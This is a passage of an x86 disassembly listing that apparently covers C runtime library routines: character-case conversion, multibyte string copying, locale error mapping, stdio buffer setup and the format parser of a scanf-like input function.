; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC821[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC720[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC954, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC954, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC821[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C534, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB2AC, ecx
		mov	eax, offset dword_43C640


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C7A8
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB2A8, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C644[edx*8]
		mov	dword_4DB2A8, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB2A8, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB2A8, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA38
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA58
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB490
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB334[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB334h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C534, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C328
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C534, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C538, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C538
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C534, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C534, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8D8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C7B0
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C7A8


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
